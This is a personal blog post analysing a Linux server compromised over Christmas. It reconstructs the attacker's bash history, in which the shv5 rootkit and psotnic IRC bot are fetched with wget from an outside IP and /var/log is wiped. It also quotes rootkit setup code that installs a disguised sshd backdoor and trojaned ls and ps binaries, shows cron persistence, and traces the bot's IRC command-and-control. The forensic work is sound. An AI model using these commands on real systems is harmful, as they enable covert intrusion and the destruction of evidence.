Holiday cracking

Update! 16. September 2007: I've posted a follow up on this story here.

A friend of mine asked me to have a look at his Linux-server. "It behaves strangely" he said, most notably the web-server apache refused to start. It turned out to be more than just a problem with apache.

I already had an account, so I started to poke around. The first thing I noticed was some strange ls behavior:

 lars@server1:~$ ls

 ls: invalid option -- h

 Try `ls --help' for more information.

That's odd.. Why don't "ls" take "-h" all of a sudden?? I had aliased "ls, so I unaliased it and it worked fine:

lars@server1:~$ alias ls

 alias ls='ls -sh --color=auto'

 lars@server1:~$ unalias ls

 lars@server1:~$ ls

 backup

 lars@server1:~$

Strange. I'll have too look into that later, but first get apache up and running:

 lars@server1:~$ sudo /etc/init.d/apache2 start

 Password:

  * Starting apache 2.0 web server...

 (2): apache2: could not open error log file /var/log/apache2/error.log.

 Unable to open logs

    ...fail!

Ookay..? A quick peek into "/var/log/" revealed that "apache2/" was missing, but so was all other directories usually found under there as "mysql/", "exim4/", "samba/" and so on. Something was wrong alright. Did my friend accidentally delete everything by mistake?? He claimed not to. I logged in as root to fix the missing directories:

 lars@server1:~$ sudo su -

 Password:

 root@server1:~# ls

 ls: unrecognized prefix: do

 ls: unparsable value for LS_COLORS environment variable

 total 44

   4 .                 4 .bashrc           4 .ssh

   4 ..                4 .lesshst          8 .viminfo

   8 .bash_history     4 .profile          4 .vimrc

Even more "ls" trouble? Again, "ls" is aliased:

 root@server1:~# alias ls

 alias ls='ls -sa --color=auto'

 root@server1:~# unalias ls

 root@server1:~# ls

 root@server1:~# 

By now, I really suspected that something was very very wrong. Misbehaving "ls" and missing a bunch of stuff under "/var/log/". My suspicion was confirmed when I examined root's ".bash_history":

root@server1:~# cat -n .bash_history

   ...

   340  w

   341  cd /var

   342  wget http://83.19.148.250/~matys/pliki/shv5.tar.gz

   343  tar -zxf shv5.tar.gz

   344  rm -rf shv5.tar.gz

   345  mv shv5 .x

   346  cd .x

   347  ./setup zibi.joe.149 54098

   348  passwd

   349  passwd

   350  ps aux

   351  crontab -l

   352  cat /etc/issue

   353  cat /etc/passwd

   354  w

   355  who

   356  cd /usr/lib/libsh

   357  ls

   358  hide +

   359  chmod +x hide

   360  hide +

   361  ./hide +

   362  cd /var/.x

   363  mkdir psotnic

   364  cd psotnic

   365  wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz

   366  tar -zxf psotnic0.2.5.tar.gz

   367  rm -rf psotnic0.2.5.tar.gz

   368  ls

   369  mv psotnic-0.2.5-linux-static-ipv6 synscan

   370  ./synscan

   371  vi conf

   372  vi conf1

   373  mv synscan smbd

   374  smbd -c conf

   375  ls

   376  ps aux

   377  ls

   378  ./smbd -c conf

   379  ./smbd -c conf1

   380  ./smbd conf

   381  ./smbd conf1

   382  ./smbd -a conf conf1

   383  rm -rf conf.dec

   384  rm -rf conf1.dec

   385  cd /usr/lib/libsh

   386  ./hide +

   387  exit

   ...

   425  ssh ftp@62.101.251.166

   426  w

   427  ls

   428  ls

   429  cd /var/.x

   430  ls

   431  cd psotnic/

   432  ls

   433  rm -rf /var/log/*

   434  exit

   435  ls

   436  cd /var/.x/psotnic/

   437  ls

   438  vi conf2

   439  ./smbd -c conf2

   440  ./smbd conf2

   441  ./smbd -a conf conf1 conf2

   442  rm -rf conf2.dec

   443  cd ..

   444  ls

   445  cd /usr/lib/libsh

   446  hide +

   447  ./hide +

   448  exit

   449  ps aux

   450  cd /var/.x

   451  ls

   452  ls

   453  cd psotnic/

   454  ls

   455  cat pid.MastaH

   456  kill -9 2030

   457  ./synscan -a conf conf1

   458  ./smbd -a conf conf1

   459  cd /usr/lib/libsh

   460  ./hide +

  ...

Woha! The box had been cracked alright! I found this quite exciting, but obviously, my friend did not. The attacker did one elementary error by not wiping out ".bash_history" - so this is probably not the only error he/she has done. Let's start dissecting this little crack.

First. What is hiding under "/var/.x/" and what does the command "setup zibi.joe.149 54098" do?

root@server1:/var/.x# file setup

setup: Bourne-Again shell script text executable

root@server1:/var/.x# wc -l setup

825 setup

root@server1:/var/.x# head -17 setup

#!/bin/bash

#

# shv5-internal-release

# by: PinT[x] April/2003

# 

# greetz to:

#

# [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99 

#                 C00L|0, GolDenLord, Spike, zion ...

# [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ...

# [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ...

# [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc..

# [*] And all others who diserve to be here but i forgot

# [*] them at the moment !

# 

# PRIVATE ! DO NOT DISTRIBUTE *censored*EZ !

Now, this little shell script does all kinds of nasty stuff, like installing a modified ssh backdoor disguised as "/bin/ttyload" which is then added to "/etc/inittab" for automatic startup at boot:

mv $SSHDIR/sshd /sbin/ttyload

chmod a+xr /sbin/ttyload

chmod o-w /sbin/ttyload

touch -acmr /bin/ls /sbin/ttyload

chattr +isa /sbin/ttyload

kill -9 `pidof ttyload` >/dev/null 2>&1

....

# INITTAB SHUFFLING

chattr -isa /etc/inittab

cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1

cat /etc/inittab |grep getty > /tmp/.init2

echo "# Loading standard ttys" >> /tmp/.init1

echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1

It also backdoor a bunch of standard linux commands:

# Backdoor ps/top/du/ls/netstat/etc..

cd $BASEDIR/bin

BACKUP=/usr/lib/libsh/.backup

mkdir $BACKUP

...

# ls ...

chattr -isa /bin/ls

cp /bin/ls $BACKUP

mv -f ls /bin/ls

chattr +isa /bin/ls

This explains why "ls" misbehavied!

root@server1:/var/.x# ls -l /usr/lib/libsh/.backup/

total 552

-rwxr-xr-x   1 root     root       126276 Dec 24 22:58 find

-rwxr-xr-x   1 root     root        59012 Dec 24 22:58 ifconfig

-rwxr-xr-x   1 root     root        77832 Dec 24 22:58 ls

-rwxr-xr-x   1 root     root        30388 Dec 24 22:58 md5sum

-rwxr-xr-x   1 root     root        99456 Dec 24 22:58 netstat

-rwxr-xr-x   1 root     root        65492 Dec 24 22:58 ps

-rwxr-xr-x   1 root     root        14016 Dec 24 22:58 pstree

-rwxr-xr-x   1 root     root        50180 Dec 24 22:58 top

Oh - and look at the timestamp. This was done at christmas!

Clearly the original "ls" and the newly installed "ls" are different, as md5 fingerprint and file shows:

root@server1:~# md5sum /usr/lib/libsh/.backup/ls /bin/ls

eef7ca9dd6be1cc53bac84012f8d1675  /usr/lib/libsh/.backup/ls

0a07cf554c1a74ad974416f60916b78d  /bin/ls



root@server1:~# file /bin/ls

/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked 

(uses shared libs), for GNU/Linux 2.0.0, stripped



root@server1:~# file /usr/lib/libsh/.backup/ls

/usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked 

(uses shared libs), for GNU/Linux 2.6.0, stripped

The backdoor toolkit ("sh5.tar.gz") was downloaded from (local copy here):

root@server1:~#  dig +short -x 83.19.148.250

4lo.bydg.pl.

I can't make much out of the site, since it's in polish. The attacker probably don't have any connection to this site - I don't think he is that foolish, but then again - he has done several severe mistakes.

The output of the "setup" command, as run by the attacker, can be seen in the screen shot (I was running this on sandboxed server at home):

Okay, so "zibi.joe.149" is the password and "54098" is the port number. It's running and (old) sshd from ssh.com, as seen from the screen shot:

Nice colors.

The backdoor is installed. The next step is to install an irc-bot and make it an zombie. That is what "psotnic0.2.5.tar.gz" contains. The attacker extract and rename the irc-bot to "smbd", which happens to be the same as Samba's daemons ("smbd" and "nbmd").

Next he creates two configuration files, which contains which irc-server to connect to, and which channel to join etc. The config files are then encrypted, and the clear-text ones are deleted:

   371  vi conf

   372  vi conf1

   ....

   378  ./smbd -c conf 

   379  ./smbd -c conf1

   380  ./smbd conf

   381  ./smbd conf1

   382  ./smbd -a conf conf1

Let's execute command 382 to see what it does:

root@server1:/var/.x/psotnic# ./smbd -a conf conf1



Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)

Copyright (C) 2003-2005 Grzegorz Rusin 



[+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1

[+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1

[+] Added 2 psotnics to cron

Aha! So it gets added to cron:

root@server1:/var/.x/psotnic# crontab -l

*/10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1

*/10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1

At this time I killed off the two hostile smbd-processes and disabled the cron-job. I fired up a tcpdump in another shell and started the two processes manually:

root@server1:~# cd /var/.x/psotnic; ./smbd conf



Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)

Copyright (C) 2003-2005 Grzegorz Rusin 



[*] Acting as LEAF

[+] Config loaded

[+] Going into background [pid: 5724]

root@server1:/var/.x/psotnic# ./smbd conf1



Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)

Copyright (C) 2003-2005 Grzegorz Rusin 



[*] Acting as LEAF

[+] Config loaded

[+] Going into background [pid: 5727]

root@server1:/var/.x/psotnic# 

These two processes show up using (our backdoored) "ps", so I guess that why the attacker renamed it to "smbd":

root@server1:/var/.x/psotnic# ps axuw | grep smb

root      3799  0.0  0.4  8592 2156 ?        S    11:00   0:00 /usr/sbin/smbd -D

root      3808  0.0  0.1  8592  896 ?        S    11:00   0:00 /usr/sbin/smbd -D

root      5724  0.0  0.1  1648  772 pts/2    S    12:47   0:00 ./smbd conf

root      5727  0.0  0.1  1640  764 pts/2    S    12:47   0:00 ./smbd conf1

The first two are the real samba, the next two are the irc-bot. Let's strace it to see what it does:

root@server1:~# strace -p 5727

...

connect(3, {sa_family=AF_INET, sin_port=htons(9714), sin_addr=inet_addr("83.18.74.235")}, 16) = -1 EINPROGRESS (Operation now in progress)

...

connect(4, {sa_family=AF_INET, sin_port=htons(6667), sin_addr=inet_addr("195.159.0.92")}, 16) = -1 EINPROGRESS (Operation now in progress)

So it tries to connect to IP-address 83.18.74.235 on port 9714 and 195.159.0.92 on port 6667 (this port is used for irc-servers):

root@server1:~# dig +short -x 83.18.74.235

manhattan.na.pl.

root@server1:~# dig +short -x 195.159.0.92

ircnet.irc.powertech.no.

Another polish host. The other IP-adress, "ircnet.irc.powertech.no" is a CNAME for "irc.powertech.no", a well known irc-server here in Norway.

Using the tcpdump, I identified one network-stream to irc-server irc.powertech.no. As these snippets show, they show the smbd connecting to "irc.powertech.no", and joining channel "#aik":

:irc.powertech.no 001 578PAB9NB :Welcome to the Internet Relay Network 578PAB9NB!~op@ti231210a080-3666.bb.online.no

:irc.powertech.no 002 578PAB9NB :Your host is irc.powertech.no, running version 2.11.1p1



:578PAB9NB!~op@ti231210a080-3666.bb.online.no JOIN :#aik

:irc.powertech.no 353 578PAB9NB @ #aik :578PAB9NB kknd raider brandyz jpi conf xerkoz IpaL vvo 

:irc.powertech.no 366 578PAB9NB #aik :End of NAMES list.

:irc.powertech.no 352 578PAB9NB #aik ~op ti231210a080-3666.bb.online.no irc.powertech.no 578PAB9NB G :0 op - GTW

:irc.powertech.no 352 578PAB9NB #aik ~kknd ti231210a080-3666.bb.online.no irc.hitos.no kknd H :2 kknd - GTW

:irc.powertech.no 352 578PAB9NB #aik ~raider mobitech-70.max-bc.spb.ru *.dotsrc.org raider G :4 raider - GTW

:irc.powertech.no 352 578PAB9NB #aik ~brandyz mobitech-70.max-bc.spb.ru *.dotsrc.org brandyz G :4 brandyz - GTW

:irc.powertech.no 352 578PAB9NB #aik ~jpi p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp jpi G :8 jpi - GTW

:irc.powertech.no 352 578PAB9NB #aik ~conf p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp conf G :7 conf - GTW

:irc.powertech.no 352 578PAB9NB #aik ~xerkoz p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp xerkoz H :7 xerkoz - GTW

:irc.powertech.no 352 578PAB9NB #aik lm campus19.panorama.sth.ac.at *.at IpaL H :5 .LaPi.9@.IRCNet..

:irc.powertech.no 352 578PAB9NB #aik ~vvo ppp86-7.intelcom.sm *.tiscali.it vvo H :6 vvo - GTW

:irc.powertech.no 315 578PAB9NB #aik :End of WHO list.

This is just the raw network traffic of the irc-session joining channel #aik and listing all other members on that channel. I decided to join that channel myself (notice the nice underground nick: "viper42"). I was surprised not to be asked for any channel password. I guess our attacker made another bummer:

17:43 -!- viper42 [~viper42@trinity.gnist.org] has joined #aik

17:43 [Users #aik]

17:43 [ 578PAB9NL] [ conf] [ jpi ] [ raider ] [ vvo   ] 

17:43 [ brandyz  ] [ IpaL] [ kknd] [ viper42] [ xerkoz] 

17:43 -!- Irssi: #aik: Total of 10 nicks [0 ops, 0 halfops, 0 voices, 10 normal]

17:43 -!- Irssi: Join to #aik was synced in 1 secs

I found my friends server with the nick "578PAB9NB" and some other machines. These zombies are probably just waiting for the attacker to join the channel and give orders. Or perhaps the attacker already are lurking there. All have "* - GTW" at the end of their nick, except one:

17:45 [powertech] -!- IpaL [lm@campus19.panorama.sth.ac.at]

17:45 [powertech] -!-  ircname  : LaPi@IRCNet

17:45 [powertech] -!-  channels : #relaks #ping @#seks #aik @#ogame.pl 

                                  #pingwinaria #hattrick #trade #admin @#!sh 

17:45 [powertech] -!-  server   : *.at [\o\  \o/  /o/]

This is the only nick that also have joined more than one channels. Guess I've found my attacker, unless this is a decoy. (Again: The attacker can't be this stupid?!?) I guess I'll just hang around for a few days just to see if anything interesting comes up. The hostname resolves to:

$ dig +short campus19.panorama.sth.ac.at

193.170.51.84

And according to RIPE this IP-address belongs to Vienna University Computer Center. I asked them ( cert at aco net ) to take a closer look at the hostname in question and got an answer just hours later:

From: Alexander Talos via RT

To: larstra@ifi.uio.no

Subject: Cracker at campus19.panorama.sth.ac.at (193.170.51.84)  [ACOnet CERT #38603]
                                                                    
Date: Fri, 18 May 2007 18:22:43 +0200 (CEST)

Reply-To: cert@aco.net


                                   
-----BEGIN PGP SIGNED MESSAGE----- 

Hash: SHA1


                                                                        
Hej!
                                                                

                  
On Fri May 18 14:45:03 2007, larstra@ifi.uio.no wrote:



> I have been tracking down cracker which connected from

> campus19.panorama.sth.ac.at (193.170.51.84). The user, which



Ouch. panorama.sth.ac.at is a dormitory with about 4k rooms all

behind a NAT gateway - it will be very hard to get hold of the

miscreant.



This incident will, in the long run, definitely help me getting

rid of the NAT boxes in setups like that, but right now, we will 

have to make do with what we have.



> Please investigate the host in question. Perhaps is this a

> compromised host on your network acting as a jumpstation for



Sure, and even in a NATed environment, this is still possible.



Btw, you did a great job in analysing the compromised machine!



I'll let you know when I have either further questions or any

interesting results.



Cheers,



  Alexander Talos



- --

IT-Security, Universitaet Wien, ACOnet CERT

<URL:http://www.univie.ac.at/ZID/security/>

T: +43-1-4277-14351  M: +43-664-60277-14351

No luck there I'm afraid..

Oh, - and I tried to log in using ssh (on port 54098) on all zombies listed here, but no ports where open. The other zombies are probably using other ports for the ssh backdoor.

The other identified network stream, destined to "83.18.74.235" was garbled, so it's time to fire up up strace again:

root@server1:/var/.x/psotnic# strace -f ./smbd conf1 &> /root/dump.strace

As expected, this creates a lot of output. Among other things, it tries to start the irc-client *censormode*X:

[pid  7537] execve("/bin/sh", ["sh", "-c", "*censormode*X -v 2> /dev/null"]

Which fails, since *censormode*X is not installed:

[pid  7537] write(2, "sh: ", 4)         = 4

[pid  7537] write(2, "*censormode*X: not found", 17) = 17

[pid  7537] write(2, "n", 1)           = 1

[pid  7537] close(2)                    = 0

You can see some of the traffic from tcpdump in the picture below:

This was just for one of the two smbd-processes. The other connected to the same polish site, and instead of "irc.powertech.no", it connected to "irc.hitos.no", an IRC-server located in Tromsø. The same zombies are at that channel as well - guess I'll stick around there for a few days as well.

Also, what the cracker did, was to run a program called "hide" to clean entries from various log-files:

root@server1:/usr/lib/libsh# ./hide +

                Linux Hider v2.0 by mave

                enhanced by me!

[+] [Shkupi Logcleaner] Removing + from the logs........ .



[+] /var/log/messages  ... [done]



[+] /var/run/utmp      ... [done]



[+] /var/log/lastlog   ... [done]



[+] /var/log/wtmp      ... [done]



            * m i s s i o n  a c c o m p l i s h e d *



                    p.h.e.e.r  S.H.c.r.e.w



server1:/usr/lib/libsh# 

So why did the attacker then wipe out "/var/log/*"? Did he not trust this tool? Did he panicked?

So the box has been compromised, backdoor installed and it's been converted to a zombie. The attacker made several mistakes allowing him to be detected:

• Forgot to wipe out root's .bash_history.
• Wiped out everything under "/var/log/*", including directories which several programs relied on and thereby refusing to start. Now, why did he do that? This certainly was stupid.
• Changed the root-password. Another bummer. Never ever change the root-password. This surely will catch the attention of a sysadmin.
• Did not password-protect the IRC-channel where all his zombies resides. Not that it doesn't matter much for us, since we would have sniffed that up as soon as the zombie tried to join the channel.
• Do the attacker still hang around the same channel as all his zombies does (the LaPi-guy)? If so he's just begging to be exposed.

Severeal questions remains:

1. Why was the command "ssh ftp@62.101.251.166" entered? Did the attacker made a mistake in typing this command or did it serve some other purpose? The IP addres resolves to:

   $ dig +short -x 62.101.251.166
   
   cA6FB653E.dhcp.bluecom.no.
   
   

2. What kind of traffic goes to 83.18.74.235 (manhattan.na.pl) ?
3. And the most important question is, how did he get access in the first time? The server was running Ubuntu 6.06 LTS (i386) and was fairly updated. The compromised could be caused by:
   • An exploit unknown to the public.
   • A user accessing this server from an already compromised host. The attacker could then sniff the the password.